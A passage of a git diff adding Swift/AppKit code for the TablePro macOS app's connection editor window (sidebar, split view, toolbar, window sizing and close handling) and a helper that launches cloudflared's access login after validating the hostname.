issueMessages.joined(separator: "\n") : nil + } + + var accessibilityLabel: String { + guard let first = issueMessages.first else { return title } + return String(format: String(localized: "%1$@, %2$@"), title, first) + } + + // The layout's facets only, so a facet the type has no use for never shows; none while the record is gone. + @MainActor + static func rows(for store: ConnectionEditorStore) -> [ConnectionEditorSidebarRow] { + guard !store.isRecordMissing else { return [] } + return store.layout.facets.map { layout in + ConnectionEditorSidebarRow( + facet: layout.facet, + title: layout.title, + symbolName: symbolName(for: layout.facet, in: store), + issueMessages: store.issues(for: layout.facet).filter { $0.blocksSave && store.isRevealed($0) }.map(\.message) + ) + } + } + + // A file database's transport facet is titled Location: where the file is, not a network route. + @MainActor + private static func symbolName(for facet: ConnectionFacet, in store: ConnectionEditorStore) -> String { + guard facet == .sshAndProxies, store.traits.supportsRemoteDatabaseFile else { return facet.symbolName } + return "folder" + } +} + +// AppKit on purpose: a SwiftUI sidebar List keeps the previous row emphasized after a programmatic +// selection while it is not first responder, and making it first responder would take focus from +// the field that focus(on:) just moved to. +@MainActor +final class ConnectionEditorSidebarViewController: NSViewController { + static let listIdentifier = "connection-editor-sidebar" + private static let cellIdentifier = NSUserInterfaceItemIdentifier("ConnectionEditorSidebarCell") + + let tableView = NSTableView() + private let scrollView = NSScrollView() + + var onSelectFacet: ((ConnectionFacet) -> Void)? + + private(set) var rows: [ConnectionEditorSidebarRow] = [] + private(set) var selectedFacet: ConnectionFacet? + private var isReflecting = false + + init() { + super.init(nibName: nil, bundle: nil) + } + + @available(*, unavailable) + required init?(coder: NSCoder) { + fatalError("ConnectionEditorSidebarViewController does not support NSCoder init") + } + + override func loadView() { + let column = NSTableColumn(identifier: NSUserInterfaceItemIdentifier("facet")) + column.resizingMask = .autoresizingMask + tableView.addTableColumn(column) + tableView.headerView = nil + tableView.style = .sourceList + tableView.rowSizeStyle = .default + tableView.backgroundColor = .clear + tableView.allowsMultipleSelection = false + tableView.allowsEmptySelection = false + tableView.allowsTypeSelect = true + tableView.dataSource = self + tableView.delegate = self + tableView.setAccessibilityIdentifier(Self.listIdentifier) + tableView.setAccessibilityLabel(String(localized: "Connection Settings")) + + scrollView.documentView = tableView + scrollView.drawsBackground = false + scrollView.hasVerticalScroller = true + scrollView.hasHorizontalScroller = false + scrollView.autohidesScrollers = true + + let root = NSView() + scrollView.translatesAutoresizingMaskIntoConstraints = false + root.addSubview(scrollView) + NSLayoutConstraint.activate([ + scrollView.topAnchor.constraint(equalTo: root.topAnchor), + scrollView.leadingAnchor.constraint(equalTo: root.leadingAnchor), + scrollView.trailingAnchor.constraint(equalTo: root.trailingAnchor), + scrollView.bottomAnchor.constraint(equalTo: root.bottomAnchor), + ]) + view = root + } + + // Cells are reconfigured in place when only a mark changed, so typing never reloads the list. + func show(_ rows: [ConnectionEditorSidebarRow], selecting facet: ConnectionFacet?) { + _ = view + if rows != self.rows { + let facetsChanged = rows.map(\.facet) != self.rows.map(\.facet) + self.rows = rows + isReflecting = true + if facetsChanged { + tableView.reloadData() + } else { + for index in rows.indices { + let cell = tableView.view(atColumn: 0, row: index, makeIfNecessary: false) as? ConnectionEditorSidebarCell + cell?.configure(rows[index]) + } + } + isReflecting = false + } + reflect(facet) + } + + func cell(for facet: ConnectionFacet) -> ConnectionEditorSidebarCell? { + guard let index = rows.firstIndex(where: { $0.facet == facet }) else { return nil } + return tableView.view(atColumn: 0, row: index, makeIfNecessary: true) as? ConnectionEditorSidebarCell + } + + private func reflect(_ facet: ConnectionFacet?) { + selectedFacet = facet + isReflecting = true + defer { isReflecting = false } + guard let index = facet.flatMap({ facet in rows.firstIndex { $0.facet == facet } }) else { + if tableView.selectedRow >= 0 { + tableView.deselectAll(nil) + } + return + } + if tableView.selectedRow != index { + tableView.selectRowIndexes(IndexSet(integer: index), byExtendingSelection: false) + } + tableView.scrollRowToVisible(index) + } +} + +extension ConnectionEditorSidebarViewController: NSTableViewDataSource, NSTableViewDelegate { + func numberOfRows(in tableView: NSTableView) -> Int { + rows.count + } + + func tableView(_ tableView: NSTableView, typeSelectStringFor tableColumn: NSTableColumn?, row: Int) -> String? { + rows.indices.contains(row) ? rows[row].title : nil + } + + func tableView(_ tableView: NSTableView, viewFor tableColumn: NSTableColumn?, row: Int) -> NSView? { + guard rows.indices.contains(row) else { return nil } + let cell = tableView.makeView(withIdentifier: Self.cellIdentifier, owner: self) as? ConnectionEditorSidebarCell + ?? ConnectionEditorSidebarCell(identifier: Self.cellIdentifier) + cell.configure(rows[row]) + return cell + } + + func tableViewSelectionDidChange(_ notification: Notification) { + guard !isReflecting else { return } + let index = tableView.selectedRow + guard rows.indices.contains(index) else { + reflect(selectedFacet) + return + } + selectedFacet = rows[index].facet + onSelectFacet?(rows[index].facet) + } +} + +// Keeps the imageView and textField outlets: the source list then tints the template glyph with the +// accent color, emphasizes the selected label and turns the glyph white. +final class ConnectionEditorSidebarCell: NSTableCellView { + private let glyph = NSImageView() + private let label = NSTextField(labelWithString: "") + let issueMark = NSImageView() + + init(identifier: NSUserInterfaceItemIdentifier) { + super.init(frame: .zero) + self.identifier = identifier + glyph.imageScaling = .scaleNone + glyph.setAccessibilityElement(false) + label.lineBreakMode = .byTruncatingTail + label.setContentCompressionResistancePriority(.defaultLow, for: .horizontal) + let markImage = NSImage(systemSymbolName: "exclamationmark.triangle.fill", accessibilityDescription: nil) + markImage?.accessibilityDescription = "" + issueMark.image = markImage + issueMark.imageScaling = .scaleProportionallyDown + issueMark.setAccessibilityElement(false) + issueMark.setContentHuggingPriority(.required, for: .horizontal) + issueMark.setContentCompressionResistancePriority(.required, for: .horizontal) + for subview in [glyph, label, issueMark] { + subview.translatesAutoresizingMaskIntoConstraints = false + addSubview(subview) + } + imageView = glyph + textField = label + NSLayoutConstraint.activate([ + glyph.centerXAnchor.constraint(equalTo: leadingAnchor, constant: 13), + glyph.centerYAnchor.constraint(equalTo: centerYAnchor), + label.leadingAnchor.constraint(equalTo: leadingAnchor, constant: 28.5), + label.centerYAnchor.constraint(equalTo: centerYAnchor), + label.trailingAnchor.constraint(lessThanOrEqualTo: issueMark.leadingAnchor, constant: -4), + issueMark.trailingAnchor.constraint(equalTo: trailingAnchor, constant: -4), + issueMark.centerYAnchor.constraint(equalTo: centerYAnchor), + ]) + tintIssueMark() + } + + @available(*, unavailable) + required init?(coder: NSCoder) { + fatalError("ConnectionEditorSidebarCell does not support NSCoder init") + } + + override var backgroundStyle: NSView.BackgroundStyle { + didSet { tintIssueMark() } + } + + func configure(_ row: ConnectionEditorSidebarRow) { + // The table overwrites imageView.symbolConfiguration, so the size is baked into the image. + let image = NSImage(systemSymbolName: row.symbolName, accessibilityDescription: nil)? + .withSymbolConfiguration(NSImage.SymbolConfiguration(textStyle: .body, scale: .large)) + // An empty description, not nil: nil still reads the symbol name to VoiceOver. + image?.accessibilityDescription = "" + glyph.image = image + label.stringValue = row.title + issueMark.isHidden = !row.hasIssues + toolTip = row.toolTip + // The table publishes its own cell element and drops this view's identifier, so the label carries it. + label.setAccessibilityIdentifier("connection-editor-sidebar-\(row.facet.rawValue)") + setAccessibilityLabel(row.accessibilityLabel) + } + + // Red on a plain row, white on the emphasized selection where red would not read. + private func tintIssueMark() { + issueMark.contentTintColor = backgroundStyle == .emphasized ? .alternateSelectedControlTextColor : .systemRed + } +} diff --git a/apple/TablePro/Views/ConnectionForm/Shell/ConnectionEditorSplitViewController.swift b/apple/TablePro/Views/ConnectionForm/Shell/ConnectionEditorSplitViewController.swift new file mode 100644 index 0000000000..4fd75eca9a --- /dev/null +++ b/apple/TablePro/Views/ConnectionForm/Shell/ConnectionEditorSplitViewController.swift @@ -0,0 +1,56 @@ +// +// ConnectionEditorSplitViewController.swift +// TablePro +// + +import AppKit + +// The editor is chrome: no theme slot and no ThemeBackdropState, only the system sidebar material and +// each Form's own background. +@MainActor +final class ConnectionEditorSplitViewController: NSSplitViewController { + let sidebar = ConnectionEditorSidebarViewController() + let detail: ConnectionEditorDetailViewController + private let store: ConnectionEditorStore + + init(store: ConnectionEditorStore, onCloseMissingRecord: @escaping () -> Void) { + self.store = store + self.detail = ConnectionEditorDetailViewController(store: store, onCloseMissingRecord: onCloseMissingRecord) + super.init(nibName: nil, bundle: nil) + sidebar.onSelectFacet = { [weak self] facet in + guard let self else { return } + store.selectedFacet = facet + detail.show(.facet(facet)) + } + } + + @available(*, unavailable) + required init?(coder: NSCoder) { + fatalError("ConnectionEditorSplitViewController does not support NSCoder init") + } + + override func viewDidLoad() { + super.viewDidLoad() + + let sidebarItem = NSSplitViewItem(sidebarWithViewController: sidebar) + sidebarItem.minimumThickness = ConnectionEditorWindowFrame.sidebarWidth + sidebarItem.maximumThickness = ConnectionEditorWindowFrame.sidebarWidth + sidebarItem.canCollapse = false + addSplitViewItem(sidebarItem) + + let detailItem = NSSplitViewItem(viewController: detail) + // The divider comes out of the fixed width, so the detail minimum leaves room for it. + detailItem.minimumThickness = ConnectionEditorWindowFrame.detailWidth - splitView.dividerThickness + detailItem.holdingPriority = .splitPaneHolding + addSplitViewItem(detailItem) + + sync() + } + + func sync() { + guard isViewLoaded else { return } + let isRecordMissing = store.isRecordMissing + sidebar.show(ConnectionEditorSidebarRow.rows(for: store), selecting: isRecordMissing ? nil : store.selectedFacet) + detail.show(isRecordMissing ? .recordMissing : .facet(store.selectedFacet)) + } +} diff --git a/apple/TablePro/Views/ConnectionForm/Shell/ConnectionEditorToolbar.swift b/apple/TablePro/Views/ConnectionForm/Shell/ConnectionEditorToolbar.swift new file mode 100644 index 0000000000..33b8195e39 --- /dev/null +++ b/apple/TablePro/Views/ConnectionForm/Shell/ConnectionEditorToolbar.swift @@ -0,0 +1,51 @@ +// +// ConnectionEditorToolbar.swift +// TablePro +// + +import AppKit + +// Only the separator that tracks the sidebar divider, so the title sits over the detail column. The split view +// is a child of the window's content, not the content itself, so the separator names it instead of relying +// on `.sidebarTrackingSeparator` finding it. +@MainActor +final class ConnectionEditorToolbar: NSObject, NSToolbarDelegate { + static let separatorIdentifier = NSToolbarItem.Identifier("com.TablePro.connectionEditor.sidebarSeparator") + + private weak var splitView: NSSplitView? + + init(splitView: NSSplitView) { + self.splitView = splitView + super.init() + } + + func makeToolbar() -> NSToolbar { + // AppKit mirrors item changes into every toolbar sharing an identifier, and each editor window has its own. + let toolbar = NSToolbar(identifier: "com.TablePro.connectionEditor.toolbar.\(UUID().uuidString)") + toolbar.delegate = self + toolbar.displayMode = .iconOnly + toolbar.allowsUserCustomization = false + toolbar.autosavesConfiguration = false + if #available(macOS 15.0, *) { + toolbar.allowsDisplayModeCustomization = false + } + return toolbar + } + + func toolbarDefaultItemIdentifiers(_ toolbar: NSToolbar) -> [NSToolbarItem.Identifier] { + [Self.separatorIdentifier] + } + + func toolbarAllowedItemIdentifiers(_ toolbar: NSToolbar) -> [NSToolbarItem.Identifier] { + toolbarDefaultItemIdentifiers(toolbar) + } + + func toolbar( + _ toolbar: NSToolbar, + itemForItemIdentifier identifier: NSToolbarItem.Identifier, + willBeInsertedIntoToolbar flag: Bool + ) -> NSToolbarItem? { + guard identifier == Self.separatorIdentifier, let splitView else { return nil } + return NSTrackingSeparatorToolbarItem(identifier: identifier, splitView: splitView, dividerIndex: 0) + } +} diff --git a/apple/TablePro/Views/ConnectionForm/Shell/ConnectionEditorViewController.swift b/apple/TablePro/Views/ConnectionForm/Shell/ConnectionEditorViewController.swift new file mode 100644 index 0000000000..d07a7822dc --- /dev/null +++ b/apple/TablePro/Views/ConnectionForm/Shell/ConnectionEditorViewController.swift @@ -0,0 +1,56 @@ +// +// ConnectionEditorViewController.swift +// TablePro +// + +import AppKit +import SwiftUI + +// The window's content: the split view on top and the commit bar across its full width, so the sidebar +// material ends at the bar. `NSWindow(contentViewController:)` binds the window title to this controller's. +@MainActor +final class ConnectionEditorViewController: NSViewController { + let split: ConnectionEditorSplitViewController + let commitBar: NSHostingView + + init(store: ConnectionEditorStore, actions: ConnectionEditorCommitActions, onCloseMissingRecord: @escaping () -> Void) { + split = ConnectionEditorSplitViewController(store: store, onCloseMissingRecord: onCloseMissingRecord) + commitBar = NSHostingView(rootView: ConnectionEditorCommitBar(store: store, actions: actions)) + super.init(nibName: nil, bundle: nil) + // Before the window exists, so its title is never blank. + title = store.windowTitle + } + + @available(*, unavailable) + required init?(coder: NSCoder) { + fatalError("ConnectionEditorViewController does not support NSCoder init") + } + + override func loadView() { + let root = NSView(frame: NSRect( + origin: .zero, + size: ConnectionEditorWindowFrame.defaultContentSize(visibleHeight: NSScreen.main?.visibleFrame.height ?? 800) + )) + addChild(split) + // The bar's height follows its content, and its width never pins the window. + commitBar.sizingOptions = [.intrinsicContentSize] + commitBar.setContentHuggingPriority(.required, for: .vertical) + commitBar.setContentHuggingPriority(.defaultLow, for: .horizontal) + commitBar.setContentCompressionResistancePriority(.defaultLow, for: .horizontal) + + for subview in [split.view, commitBar] { + subview.translatesAutoresizingMaskIntoConstraints = false + root.addSubview(subview) + } + NSLayoutConstraint.activate([ + split.view.topAnchor.constraint(equalTo: root.topAnchor), + split.view.leadingAnchor.constraint(equalTo: root.leadingAnchor), + split.view.trailingAnchor.constraint(equalTo: root.trailingAnchor), + split.view.bottomAnchor.constraint(equalTo: commitBar.topAnchor), + commitBar.leadingAnchor.constraint(equalTo: root.leadingAnchor), + commitBar.trailingAnchor.constraint(equalTo: root.trailingAnchor), + commitBar.bottomAnchor.constraint(equalTo: root.bottomAnchor), + ]) + view = root + } +} diff --git a/apple/TablePro/Views/ConnectionForm/Shell/ConnectionEditorWindowController.swift b/apple/TablePro/Views/ConnectionForm/Shell/ConnectionEditorWindowController.swift new file mode 100644 index 0000000000..56e012d3a9 --- /dev/null +++ b/apple/TablePro/Views/ConnectionForm/Shell/ConnectionEditorWindowController.swift @@ -0,0 +1,396 @@ +// +// ConnectionEditorWindowController.swift +// TablePro +// + +import AppKit +import Combine + +// Where the editor opens. Never part of the request: one connection keeps one window whatever facet asked for it. +enum ConnectionEditorFacetChoice: Equatable { + case named(ConnectionFacet) + // The facet of the first issue that blocks Save: what a connect refused over its own settings points at. + case firstIssue +} + +// Hosts the connection editor in an AppKit window, so the app needs no SwiftUI scene for it. The registry +// keyed by request keeps one window per edited connection: two would each save over the other. +@MainActor +final class ConnectionEditorWindowController: NSWindowController, NSWindowDelegate { + private static var controllers: [ConnectionFormRequest: ConnectionEditorWindowController] = [:] + private static let cascadeOffset: CGFloat = 22 + + let store: ConnectionEditorStore + let content: ConnectionEditorViewController + private let toolbarController: ConnectionEditorToolbar + private let frameAutosaveName: String? + private var storeObservation: AnyCancellable? + private var keyMonitor: Any? + + var sidebar: ConnectionEditorSidebarViewController { content.split.sidebar } + var detail: ConnectionEditorDetailViewController { content.split.detail } + + // A window already open for the request only moves when the caller names where. + static func present(_ request: ConnectionFormRequest, facet: ConnectionEditorFacetChoice? = nil) { + if let existing = controllers[request] { + existing.open(on: facet) + existing.showAndActivate() + return + } + let controller = ConnectionEditorWindowController( + store: ConnectionEditorStore(request: storeRequest(for: request)), + facet: facet, + frameAutosaveName: SplitViewAutosaveName.current(ConnectionEditorWindowFrame.autosaveName) + ) + controller.cascade(from: controllers.values.compactMap(\.window)) + controllers[request] = controller + controller.showAndActivate() + } + + private static func storeRequest(for request: ConnectionFormRequest) -> ConnectionEditorStore.Request { + switch request { + case .edit(let connectionId): + return .edit(connectionId: connectionId) + case .create(let draftId): + // Read once: consume removes the draft, so a second read would drop its parsed URL. + let draft = ConnectionFormDraftStore.shared.consume(draftId) + return .new(type: draft?.type, parsedURL: draft?.parsedURL) + } + } + + init(store: ConnectionEditorStore, facet: ConnectionEditorFacetChoice? = nil, frameAutosaveName: String?) { + self.store = store + self.frameAutosaveName = frameAutosaveName + // Before the content loads, so the first facet built is the one shown. + ConnectionEditorWindowController.select(facet, in: store) + let relay = ControllerRelay() + let content = ConnectionEditorViewController( + store: store, + actions: ConnectionEditorCommitActions( + test: { relay.controller?.runTest() }, + save: { relay.controller?.save() }, + commit: { relay.controller?.commit() }, + cancel: { relay.controller?.requestClose() }, + copyURL: { relay.controller?.copyURL() }, + delete: { relay.controller?.confirmDelete() } + ), + onCloseMissingRecord: { relay.controller?.requestClose() } + ) + self.content = content + + let window = NSWindow(contentViewController: content) + let toolbarController = ConnectionEditorToolbar(splitView: content.split.splitView) + self.toolbarController = toolbarController + window.identifier = NSUserInterfaceItemIdentifier(WindowIdentifier.connectionForm) + window.styleMask = [.titled, .closable, .miniaturizable, .resizable, .fullSizeContentView] + window.isReleasedWhenClosed = false + window.keepsKeyViewLoopCurrent() + window.isRestorable = false + window.tabbingMode = .disallowed + window.collectionBehavior.insert([.fullScreenNone, .fullScreenDisallowsTiling]) + window.titleVisibility = .visible + window.toolbarStyle = .unified + window.toolbar = toolbarController.makeToolbar() + window.standardWindowButton(.zoomButton)?.isEnabled = false + ConnectionEditorWindowFrame.apply(to: window, autosaveName: frameAutosaveName) + + super.init(window: window) + relay.controller = self + window.delegate = self + store.window = window + store.dismissAction = { [weak self] in self?.close() } + storeObservation = store.onMainActorChange { [weak self] in + self?.syncChrome() + } + syncChrome() + keyMonitor = NSEvent.addLocalMonitorForEvents(matching: .keyDown) { [weak self] nsEvent in + nonisolated(unsafe) let event = nsEvent + let consumed = MainActor.assumeIsolated { self?.consumesKeyDown(event) ?? false } + return consumed ? nil : nsEvent + } + } + + @available(*, unavailable) + required init?(coder: NSCoder) { + fatalError("ConnectionEditorWindowController does not support NSCoder init") + } + + func open(on facet: ConnectionEditorFacetChoice?) { + guard window?.attachedSheet == nil else { return } + Self.select(facet, in: store) + syncChrome() + } + + private static func select(_ facet: ConnectionEditorFacetChoice?, in store: ConnectionEditorStore) { + guard let facet, !store.isRecordMissing else { return } + switch facet { + case .named(let facet): + guard store.layout.facetIDs.contains(facet) else { return } + store.selectedFacet = facet + case .firstIssue: + guard let issue = store.firstBlockingIssue else { return } + store.focus(on: issue) + } + } + + func showAndActivate() { + if window?.isMiniaturized == true { + window?.deminiaturize(nil) + } + showWindow(nil) + window?.makeKeyAndOrderFront(nil) + AppActivationPolicyController.shared.activate() + } + + private func cascade(from others: [NSWindow]) { + guard let window, let anchor = others.last(where: { $0.isVisible }) else { return } + var frame = window.frame + frame.origin = NSPoint( + x: anchor.frame.minX + Self.cascadeOffset, + y: anchor.frame.maxY - Self.cascadeOffset - frame.height + ) + window.setFrame(window.constrainFrameRect(frame, to: anchor.screen), display: false) + } + + // The one place store state reaches the window: title, subtitle, edited dot, sidebar and detail. + func syncChrome() { + let title = store.windowTitle + if content.title != title { + content.title = title + } + if let window { + let subtitle = store.windowSubtitle + if window.subtitle != subtitle { + window.subtitle = subtitle + } + let isEdited = store.hasUnsavedChanges && !store.isRecordMissing + if window.isDocumentEdited != isEdited { + window.isDocumentEdited = isEdited + } + } + content.split.sync() + } + + // MARK: - Commands + + // Commits a field still being edited, so a half-typed value is what Save, Test or the close check see. + private func endEditing() -> Bool { + guard let window else { return true } + return window.makeFirstResponder(nil) + } + + func runTest() { + guard endEditing() else { return } + if store.isTesting { + store.cancelTest() + } else { + store.test() + } + } + + func save() { + guard endEditing() else { return } + store.save(connect: false) + } + + // Save & Connect for a new connection, Save for an edited one; success closes the window. + func commit() { + guard endEditing() else { return } + store.commit() + } + + func copyURL() { + _ = endEditing() + ClipboardService.shared.writeText(store.connectionURLForCopy()) + } + + func confirmDelete() { + guard store.canDelete else { return } + Task { [weak self] in + guard let self else { return } + let confirmation = await store.deleteConfirmation() + let confirmed = await AlertHelper.confirmDestructive( + title: confirmation.title, + message: confirmation.message, + confirmButton: String(localized: "Delete"), + window: window + ) + guard confirmed else { return } + store.delete() + } + } + + // MARK: - Closing + + var closeVerdict: ConnectionEditorCloseGuard.Verdict { + ConnectionEditorCloseGuard.verdict( + hasUnsavedChanges: store.hasUnsavedChanges, + isRecordMissing: store.isRecordMissing, + connectionName: store.windowTitle, + blockingIssue: store.canSave ? nil : store.firstBlockingIssue?.message + ) + } + + // The Cancel button answers Escape as a key equivalent before a text view sees the key, so the edit is ended here + // instead; an Escape with no field being edited reaches Cancel and its close guard. + func consumesKeyDown(_ event: NSEvent) -> Bool { + guard let window, ConnectionEditorEscape.endsEditing(event, in: window) else { return false } + _ = endEditing() + return true + } + + // Cancel and Escape: the same question the close button asks. + func requestClose() { + guard window?.attachedSheet == nil, endEditing() else { return } + switch closeVerdict { + case .close: + close() + case .askToSave(let prompt): + askToSave(prompt) + } + } + + func resolveClose(_ choice: ConnectionEditorCloseGuard.Choice) { + switch choice { + case .save: + // Never connects, as Cmd+S: the person asked to save and close. A failed save keeps the window and says why. + save() + case .dontSave: + close() + case .cancel: + revealWhatBlocksSave() + } + } + + // Staying after the alert said Save is blocked means fixing it, so the editor goes to the issue. + private func revealWhatBlocksSave() { + guard !store.canSave, let issue = store.firstBlockingIssue else { return } + store.reveal(issue) + } + + private func askToSave(_ prompt: ConnectionEditorSavePrompt) { + guard let window, window.attachedSheet == nil else { return } + AlertHelper.present(ConnectionEditorCloseGuard.makeAlert(prompt), in: window) { [weak self] response in + self?.resolveClose(ConnectionEditorCloseGuard.choice(for: response, canSave: prompt.canSave)) + } + } + + func windowShouldClose(_ sender: NSWindow) -> Bool { + _ = endEditing() + switch closeVerdict { + case .close: + return true + case .askToSave(let prompt): + askToSave(prompt) + return false + } + } + + func windowWillClose(_ notification: Notification) { + if let window { + ConnectionEditorWindowFrame.save(window, autosaveName: frameAutosaveName) + } + storeObservation = nil + if let keyMonitor { + NSEvent.removeMonitor(keyMonitor) + } + keyMonitor = nil + store.teardown() + Self.controllers = Self.controllers.filter { $0.value !== self } + } + + func windowDidEndLiveResize(_ notification: Notification) { + guard let window else { return } + ConnectionEditorWindowFrame.save(window, autosaveName: frameAutosaveName) + } + + func windowDidMove(_ notification: Notification) { + guard let window, window.isVisible else { return } + ConnectionEditorWindowFrame.save(window, autosaveName: frameAutosaveName) + } + + // MARK: - Quitting + + // Asked before anything else a quit stops, so Cancel here leaves the app as it was. + static func prepareToTerminate( + _ editors: [ConnectionEditorWindowController]? = nil, + ask: @MainActor (ConnectionEditorWindowController, ConnectionEditorSavePrompt) -> ConnectionEditorCloseGuard.Choice + = { editor, prompt in + editor.showAndActivate() + return editor.askToSaveModally(prompt) + } + ) -> Bool { + for editor in editors ?? openEditorsFrontToBack { + guard editor.approvesTermination(ask: ask) else { return false } + } + return true + } + + // The quit skips windowShouldClose, so each editor is closed here to reap what a running test staged. + static func closeAllForTermination() { + for controller in Array(controllers.values) { + controller.close() + } + } + + private static var openEditorsFrontToBack: [ConnectionEditorWindowController] { + let order = NSApp.orderedWindows + return controllers.values.sorted { lhs, rhs in + let left = lhs.window.flatMap { order.firstIndex(of: $0) } ?? order.count + let right = rhs.window.flatMap { order.firstIndex(of: $0) } ?? order.count + return left < right + } + } + + // Save never connects here: the app is about to quit. A Save that fails keeps the window and stops the quit. + func approvesTermination( + ask: @MainActor (ConnectionEditorWindowController, ConnectionEditorSavePrompt) -> ConnectionEditorCloseGuard.Choice + ) -> Bool { + if window?.attachedSheet != nil { + showAndActivate() + NSSound.beep() + return false + } + _ = endEditing() + guard case .askToSave(let prompt) = closeVerdict else { return true } + switch ask(self, prompt) { + case .save: + if case .success = store.save(connect: false) { return true } + return false + case .dontSave: + return true + case .cancel: + revealWhatBlocksSave() + return false + } + } + + func askToSaveModally(_ prompt: ConnectionEditorSavePrompt) -> ConnectionEditorCloseGuard.Choice { + // A quit can come from outside the app, and a background process has no Dock icon to reach the alert by. + AppActivationPolicyController.shared.activate(ignoringOtherApps: true) + let response = ConnectionEditorCloseGuard.makeAlert(prompt).runModal() + return ConnectionEditorCloseGuard.choice(for: response, canSave: prompt.canSave) + } + + // File > Save, Cmd+S: saves without connecting, also for a new connection. + @objc func saveDocument(_ sender: Any?) { + save() + } +} + +extension ConnectionEditorWindowController: NSMenuItemValidation { + func validateMenuItem(_ menuItem: NSMenuItem) -> Bool { + switch menuItem.action { + case #selector(saveDocument(_:)): + return store.canSave && window?.attachedSheet == nil + default: + return true + } + } +} + +// The commit bar's actions are built before the controller exists, so they reach it through this. +@MainActor +private final class ControllerRelay { + weak var controller: ConnectionEditorWindowController? +} diff --git a/apple/TablePro/Views/ConnectionForm/Shell/ConnectionEditorWindowFrame.swift b/apple/TablePro/Views/ConnectionForm/Shell/ConnectionEditorWindowFrame.swift new file mode 100644 index 0000000000..e83dcf318f --- /dev/null +++ b/apple/TablePro/Views/ConnectionForm/Shell/ConnectionEditorWindowFrame.swift @@ -0,0 +1,67 @@ +// +// ConnectionEditorWindowFrame.swift +// TablePro +// + +import AppKit + +// The window's sizes. The content includes the toolbar band, since the window uses a full-size content view. +enum ConnectionEditorWindowFrame { + static let sidebarWidth: CGFloat = 220 + static let detailWidth: CGFloat = 560 + static let contentWidth: CGFloat = sidebarWidth + detailWidth + static let minimumContentHeight: CGFloat = 480 + static let preferredContentHeight: CGFloat = 700 + static let screenMargin: CGFloat = 80 + // A new name: "connection-form" holds 560 wide frames from the single-form editor. + static let autosaveName = "ConnectionEditorWindow" + + static var minimumContentSize: NSSize { + NSSize(width: contentWidth, height: minimumContentHeight) + } + + static func maximumContentHeight(visibleHeight: CGFloat) -> CGFloat { + max(minimumContentHeight, visibleHeight - screenMargin) + } + + static func defaultContentSize(visibleHeight: CGFloat) -> NSSize { + NSSize(width: contentWidth, height: min(preferredContentHeight, maximumContentHeight(visibleHeight: visibleHeight))) + } + + static func clampedContentSize(_ size: NSSize, visibleHeight: CGFloat) -> NSSize { + let height = min(max(size.height, minimumContentHeight), maximumContentHeight(visibleHeight: visibleHeight)) + return NSSize(width: contentWidth, height: height) + } + + // Restored by hand: AppKit lets one open window own an autosave name, and every editor window shares this one. + @MainActor + static func apply(to window: NSWindow, autosaveName: String?) { + let screen = window.screen ?? NSScreen.main + window.setContentSize(defaultContentSize(visibleHeight: screen?.visibleFrame.height ?? 800)) + + // Restored before the size limits go on: AppKit clamps a restored frame to them, which hides an older size. + let restored = autosaveName.map { window.setFrameUsingName($0) } ?? false + if restored { + let visibleHeight = (window.screen ?? screen)?.visibleFrame.height ?? 800 + let content = window.contentRect(forFrameRect: window.frame).size + let clamped = clampedContentSize(content, visibleHeight: visibleHeight) + if clamped != content { + let top = window.frame.maxY + var frame = window.frameRect(forContentRect: NSRect(origin: window.frame.origin, size: clamped)) + frame.origin.y = top - frame.height + window.setFrame(frame, display: false) + } + window.setFrame(window.constrainFrameRect(window.frame, to: window.screen), display: false) + } else { + window.center() + } + window.contentMinSize = minimumContentSize + window.contentMaxSize = NSSize(width: contentWidth, height: .greatestFiniteMagnitude) + } + + @MainActor + static func save(_ window: NSWindow, autosaveName: String?) { + guard let autosaveName else { return } + window.saveFrame(usingName: autosaveName) + } +} diff --git a/apple/TablePro/Views/ConnectionForm/Store/ConnectionEditorStore+Cloudflare.swift b/apple/TablePro/Views/ConnectionForm/Store/ConnectionEditorStore+Cloudflare.swift new file mode 100644 index 0000000000..80e46635a4 --- /dev/null +++ b/apple/TablePro/Views/ConnectionForm/Store/ConnectionEditorStore+Cloudflare.swift @@ -0,0 +1,94 @@ +// +// ConnectionEditorStore+Cloudflare.swift +// TablePro +// + +import Foundation +import os +import TableProProcess + +// Runs `cloudflared access login` for the editor and reports how it ended. +@MainActor +final class CloudflareAccessLogin { + nonisolated private static let logger = Logger(subsystem: "com.TablePro", category: "CloudflareAccessLogin") + + private var process: Process? + + var isRunning: Bool { process?.isRunning == true } + + func start(binaryPath: String, hostname: String, onFinish: @escaping @MainActor (String?) -> Void) -> String? { + let launched: Process + do { + launched = try ProcessLauncher.process(for: ProcessCommand( + executable: URL(fileURLWithPath: binaryPath), + arguments: ["access", "login", hostname], + environment: ProcessEnvironment.inherited() + )) + } catch { + return error.localizedDescription + } + // Reap the child and surface a failed login, which otherwise left no feedback. + launched.terminationHandler = { [weak self] finished in + let status = finished.terminationStatus + Task { @MainActor in + self?.process = nil + guard status != 0 else { + onFinish(nil) + return + } + Self.logger.error("cloudflared access login exited \(status, privacy: .public)") + onFinish(String( + localized: "cloudflared sign-in did not complete. Check the hostname and your Cloudflare Access app, then try again." + )) + } + } + do { + try launched.run() + process = launched + Self.logger.info("Started cloudflared access login for \(hostname, privacy: .private(mask: .hash))") + return nil + } catch { + Self.logger.error("cloudflared access login failed to start: \(error.publicLogShape, privacy: .public)") + return error.localizedDescription + } + } +} + +extension ConnectionEditorStore { + var cloudflaredPath: String? { + let typed = draft.cloudflare.binaryPath.trimmingCharacters(in: .whitespacesAndNewlines) + if !typed.isEmpty { return (typed as NSString).expandingTildeInPath } + if case .found(let path) = cloudflaredDetection { return path } + return nil + } + + func signInWithCloudflare() { + cloudflareSignInError = nil + let login = cloudflareLogin ?? CloudflareAccessLogin() + cloudflareLogin = login + guard !login.isRunning else { return } + + let hostname = draft.cloudflare.accessHostname.trimmingCharacters(in: .whitespacesAndNewlines) + guard !hostname.isEmpty else { return } + // A bare operand: cloudflared would read a dash-led hostname as an option. + let refused = CharacterSet.whitespacesAndNewlines.union(.controlCharacters) + guard !hostname.hasPrefix("-"), !hostname.unicodeScalars.contains(where: { refused.contains($0) }) else { + cloudflareSignInError = String( + localized: "The Cloudflare hostname cannot start with a dash or contain spaces or control characters." + ) + return + } + guard let path = cloudflaredPath, FileManager.default.isExecutableFile(atPath: path) else { + cloudflareSignInError = String(localized: "cloudflared was not found. Set its path below first.") + return + } + isCloudflareSignInRunning = true + if let failure = login.start(binaryPath: path, hostname: hostname, onFinish: { [weak self] error in + self?.isCloudflareSignInRunning = false + self?.cloudflareSignInError = error + }) { + isCloudflareSignInRunning = false + cloudflareSignInError = failure + } + } +} diff --git a/apple/TablePro/Views/ConnectionForm/Store/ConnectionEditorStore+Delete.swift 